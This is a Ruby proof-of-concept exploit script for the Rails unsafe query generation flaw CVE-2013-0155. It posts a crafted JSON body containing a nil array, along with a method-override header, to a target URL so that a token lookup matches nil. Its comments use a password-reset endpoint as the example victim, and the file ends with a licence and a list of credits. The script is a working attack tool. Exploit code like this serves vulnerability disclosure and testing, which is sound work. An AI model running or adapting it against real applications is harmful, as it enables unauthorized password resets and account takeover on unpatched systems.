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Proof-of-Concept exploit for Rails Unsafe Query Generation (CVE-2013-0155)

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rails_jsonq.rb
Ruby
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#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Unsafe Query Generation (CVE-2013-0155)
#
# ## Advisory
#
# https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/t1WFuuQyavI
#
# ## Synopsis
#
# $ rails_jsonq.rb HOST PARAM
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## Example
#
# $ rails_jsonq.rb http://localhost:3000/users/reset_password token
#
# ### config/routes.rb
#
# resources :users do
# collection do
# post :reset_password
# end
# end
#
# ### app/controllers/users_controller.rb
#
# def reset_password
# if (@user = User.find_by_token(params[:token]))
# @user.reset_password!
#
# render :json => 'Success'
# else
# render :json => 'Failure'
# end
# end
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @charliesome,
# @homakov, @envygeek, @chendo, @tenderlove (for fixing it), Fun Town Auto,
# garbage pail kids, hipsters, the old Jolly Inn, Irvin Santiago,
# that heavy metal dude who always bummed cigarettes off us,
# SophSec crew and affiliates.
#
 
require 'ronin/network/http'
require 'ronin/ui/output'
require 'json'
 
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
 
unless ARGV.length == 2
$stderr.puts "usage: #{$0} URL PARAM"
exit -1
end
 
url = ARGV[0]
param = ARGV[1]
 
json = {param => [nil]}.to_json
 
print_info "POSTing #{json} to #{url} ..."
 
response = http_post(
:url => url,
:headers => {
:content_type => 'application/json',
:x_http_method_override => 'get'
},
:body => json
)
 
print_debug "Received #{response.code} response"
 
case response.code
when '200' then print_info "Success!"
when '404' then print_error "Not found"
when '500' then print_error "Error!"
end

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